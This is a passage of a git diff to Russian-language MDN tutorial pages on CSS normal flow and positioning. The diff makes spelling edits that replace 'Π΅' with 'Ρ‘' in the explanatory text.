-<p>Как Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΎΡΡŒ Ρ€Π°Π½Π΅Π΅, элСмСнты Π½Π° Π²Π΅Π±-страницС Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Ссли Π²Ρ‹ Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈ ΠΊ Π½ΠΈΠΌ Π½ΠΈ Π΅Π΄ΠΈΠ½ΠΎΠ³ΠΎ CSS для измСнСния ΠΈΡ… повСдСния. И, ΠΊΠ°ΠΊ ΠΌΡ‹ ΡƒΠΆΠ΅ выяснили,Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ элСмСнтов Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Π΅ΠΌ измСнСния ΠΈΡ… полоТСния Π² этом Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Π»ΠΈΠ±ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ΠΌ этих элСмСнтов ΠΈΠ· этого ΠΏΠΎΡ‚ΠΎΠΊΠ°. Π₯ΠΎΡ€ΠΎΡˆΠΎ структурированный Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ являСтся Π»ΡƒΡ‡ΡˆΠΈΠΌ ΠΏΡƒΡ‚Ρ‘ΠΌ Π½Π°Ρ‡Π°Π»Π° любой Π²Π΅Π±-страницы. Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ»ΠΈ устройство для чтСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ считываСт содСрТимоС страницы. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для создания Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΡΡ€Π°ΠΆΠ°Π΅Ρ‚Π΅ΡΡŒ с ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ Π²ΠΈΠ΄ΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с Π½ΠΈΠΌ.</p>
+<p>Как Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΎΡΡŒ Ρ€Π°Π½Π΅Π΅, элСмСнты Π½Π° Π²Π΅Π±-страницС Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Ссли Π²Ρ‹ Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈ ΠΊ Π½ΠΈΠΌ Π½ΠΈ Π΅Π΄ΠΈΠ½ΠΎΠ³ΠΎ CSS для измСнСния ΠΈΡ… повСдСния. И, ΠΊΠ°ΠΊ ΠΌΡ‹ ΡƒΠΆΠ΅ выяснили,Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ элСмСнтов Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Ρ‘ΠΌ измСнСния ΠΈΡ… полоТСния Π² этом Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Π»ΠΈΠ±ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ΠΌ этих элСмСнтов ΠΈΠ· этого ΠΏΠΎΡ‚ΠΎΠΊΠ°. Π₯ΠΎΡ€ΠΎΡˆΠΎ структурированный Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ являСтся Π»ΡƒΡ‡ΡˆΠΈΠΌ ΠΏΡƒΡ‚Ρ‘ΠΌ Π½Π°Ρ‡Π°Π»Π° любой Π²Π΅Π±-страницы. Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ»ΠΈ устройство для чтСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ считываСт содСрТимоС страницы. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для создания Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΡΡ€Π°ΠΆΠ°Π΅Ρ‚Π΅ΡΡŒ с ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ Π²ΠΈΠ΄ΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с Π½ΠΈΠΌ.</p>
<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΡƒΠ³Π»ΡƒΠ±ΠΈΡ‚ΡŒΡΡ Π² Ρ€Π°Π·Π½Ρ‹Π΅ способы ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ, стоит ΠΏΠ΅Ρ€Π΅ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠ»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… модулях Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².Β </p>
@@ -36,11 +36,11 @@ original_slug: Learn/CSS/CSS_layout/ΠΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_ΠΏΠΎΡ‚ΠΎΠΊ
<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ содСрТимоС элСмСнта уровня Π±Π»ΠΎΠΊΠ° составляСт 100% ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π΅Π³ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта ΠΈ ΡΡ‚ΠΎΠ»ΡŒ ΠΆΠ΅ высок, ΠΊΠ°ΠΊ ΠΈ Π΅Π³ΠΎ содСрТимоС. ВстроСнныС элСмСнты высоки и ΡˆΠΈΡ€ΠΎΠΊΠΈ, ΠΊΠ°ΠΊ ΠΈΡ… содСрТимоС. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈΠ»ΠΈ высоту Π½Π° встроСнныС элСмСнты — ΠΎΠ½ΠΈ просто находятся Π²Π½ΡƒΡ‚Ρ€ΠΈ содСрТимого элСмСнтов Π±Π»ΠΎΡ‡Π½ΠΎΠ³ΠΎ уровня. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ встроСнного элСмСнта Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π΅Π³ΠΎ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ сСбя Π²Ρ‘Π» ΠΊΠ°ΠΊ элСмСнт блочного уровня ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ <code>display: block;</code> (ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅, Β <code>display: inline-block;</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΠΌΠ΅ΡˆΠΈΠ²Π°Π΅Ρ‚ характСристики ΠΎΠ±ΠΎΠΈΡ….).</p>
-<p>Π­Ρ‚ΠΎ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ элСмСнты, Π½ΠΎ ΠΊΠ°ΠΊ насчСт Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ элСмСнты Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ? ΠΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ ΠΌΠ°ΠΊΠ΅Ρ‚Π° (упомянутый Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ ввСдСния ΠΌΠ°ΠΊΠ΅Ρ‚Π°) - это систСма, посрСдством ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ элСмСнты Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΊΠ½Π° просмотра Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ элСмСнты уровня Π±Π»ΠΎΠΊΠ° Π²Ρ‹ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π² Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ, Ρ‡Ρ‚ΠΎ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ записи Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² Π½ΠΎΠ²ΠΎΠΉ строкС Π½ΠΈΠΆΠ΅ послСднСй строки, ΠΈ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ Π»ΡŽΠ±Ρ‹ΠΌ ΠΏΠΎΠ»Π΅ΠΌ, установлСнным Π½Π° Π½ΠΈΡ…. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π½Π° английском языкС ΠΈΠ»ΠΈ Π½Π° любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌ писания Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ, свСрху Π²Π½ΠΈΠ·, элСмСнты уровня Π±Π»ΠΎΠΊΠ° Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ.</p>
+<p>Π­Ρ‚ΠΎ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ элСмСнты, Π½ΠΎ ΠΊΠ°ΠΊ насчёт Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ элСмСнты Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ? ΠΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ ΠΌΠ°ΠΊΠ΅Ρ‚Π° (упомянутый Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ ввСдСния ΠΌΠ°ΠΊΠ΅Ρ‚Π°) - это систСма, посрСдством ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ элСмСнты Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΊΠ½Π° просмотра Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ элСмСнты уровня Π±Π»ΠΎΠΊΠ° Π²Ρ‹ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π² Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ, Ρ‡Ρ‚ΠΎ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ записи Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² Π½ΠΎΠ²ΠΎΠΉ строкС Π½ΠΈΠΆΠ΅ послСднСй строки, ΠΈ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ Π»ΡŽΠ±Ρ‹ΠΌ ΠΏΠΎΠ»Π΅ΠΌ, установлСнным Π½Π° Π½ΠΈΡ…. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π½Π° английском языкС ΠΈΠ»ΠΈ Π½Π° любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌ писания Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ, свСрху Π²Π½ΠΈΠ·, элСмСнты уровня Π±Π»ΠΎΠΊΠ° Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ.</p>
-<p>ВстроСнныС элСмСнты Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ β€” ΠΎΠ½ΠΈ Π½Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π° Π½ΠΎΠ²Ρ‹Ρ… строках; ΠΎΠ½ΠΈ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ строкС, Ρ‡Ρ‚ΠΎ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΈ любой смСТной ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ тСкст располагаСтся Π½Π° всю ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта уровня Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°, Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ закончится пространство. Если пространства Π½Π΅Ρ‚, Ρ‚ΠΎΠ³Π΄Π° тСкст ΠΈ/ΠΈΠ»ΠΈ элСмСнты ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΡƒΡ‚ Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку (Π½Π΅ с Π°Π±Π·Π°Ρ†Π°).</p>
+<p>ВстроСнныС элСмСнты Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ β€” ΠΎΠ½ΠΈ Π½Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π° Π½ΠΎΠ²Ρ‹Ρ… строках; ΠΎΠ½ΠΈ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ строкС, Ρ‡Ρ‚ΠΎ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΈ любой смСТной ΠΈΠ»ΠΈ Π·Π°Π²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ тСкст располагаСтся Π½Π° всю ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта уровня Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°, Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ закончится пространство. Если пространства Π½Π΅Ρ‚, Ρ‚ΠΎΠ³Π΄Π° тСкст ΠΈ/ΠΈΠ»ΠΈ элСмСнты ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΡƒΡ‚ Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку (Π½Π΅ с Π°Π±Π·Π°Ρ†Π°).</p>
-<p>Если Π΄Π²Π° смСТных элСмСнта ΠΈΠΌΠ΅ΡŽΡ‚ Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ для Π½ΠΈΡ… поля/внСшниС отступы (margin) ΠΈ эти ΠΏΠΎΠ»ΡΒ ΡΠΎΠΏΡ€ΠΈΠΊΠ°ΡΠ°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, большСС ΠΈΠ· Π½ΠΈΡ… остаСтся, Π° мСньшСС исчСзаСт β€” это называСтся схлопываниС ΠΏΠΎΠ»Π΅ΠΉ (margin collapsing), ΠΈ ΠΌΡ‹ рассматривали это Ρ€Π°Π½Π΅Π΅.</p>
+<p>Если Π΄Π²Π° смСТных элСмСнта ΠΈΠΌΠ΅ΡŽΡ‚ Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ для Π½ΠΈΡ… поля/внСшниС отступы (margin) ΠΈ эти ΠΏΠΎΠ»ΡΒ ΡΠΎΠΏΡ€ΠΈΠΊΠ°ΡΠ°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, большСС ΠΈΠ· Π½ΠΈΡ… остаётся, Π° мСньшСС исчСзаСт β€” это называСтся схлопываниС ΠΏΠΎΠ»Π΅ΠΉ (margin collapsing), ΠΈ ΠΌΡ‹ рассматривали это Ρ€Π°Π½Π΅Π΅.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ всё ΠΈΠ· Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ рассмотрСли Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅:</p>
diff --git a/files/ru/learn/css/css_layout/positioning/index.html b/files/ru/learn/css/css_layout/positioning/index.html
index 59669413f4..da8a00b79d 100644
--- a/files/ru/learn/css/css_layout/positioning/index.html
+++ b/files/ru/learn/css/css_layout/positioning/index.html
@@ -47,7 +47,7 @@ translation_of: Learn/CSS/CSS_layout/Positioning
background: yellow;
}</pre>
-<p>И Ссли Π²Ρ‹ сСйчас сохранитС ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅, Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, Π½Π΅ считая ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° Ρ„ΠΎΠ½Π° 2-Π³ΠΎ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°. Π­Ρ‚ΠΎ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΈ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ Ρ€Π°Π½Π΅Π΅, статичСскоС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ являСтся ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ!</p>
+<p>И Ссли Π²Ρ‹ сСйчас сохранитС ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅, Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, Π½Π΅ считая ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° Ρ„ΠΎΠ½Π° 2-Π³ΠΎ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°. Π­Ρ‚ΠΎ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΈ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ Ρ€Π°Π½Π΅Π΅, статичСскоС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ являСтся ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ!</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° Π΄Π°Π½Π½ΠΎΠΌ этапС Π½Π° <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/1_static-positioning.html">1_static-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html">см. исходный ΠΊΠΎΠ΄</a>).</p>
@@ -55,7 +55,7 @@ translation_of: Learn/CSS/CSS_layout/Positioning
<h3 id="ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅_ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅">ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</h3>
-<p>ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ‚ΠΈΠΏ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим. Оно ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° статичСскоС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ 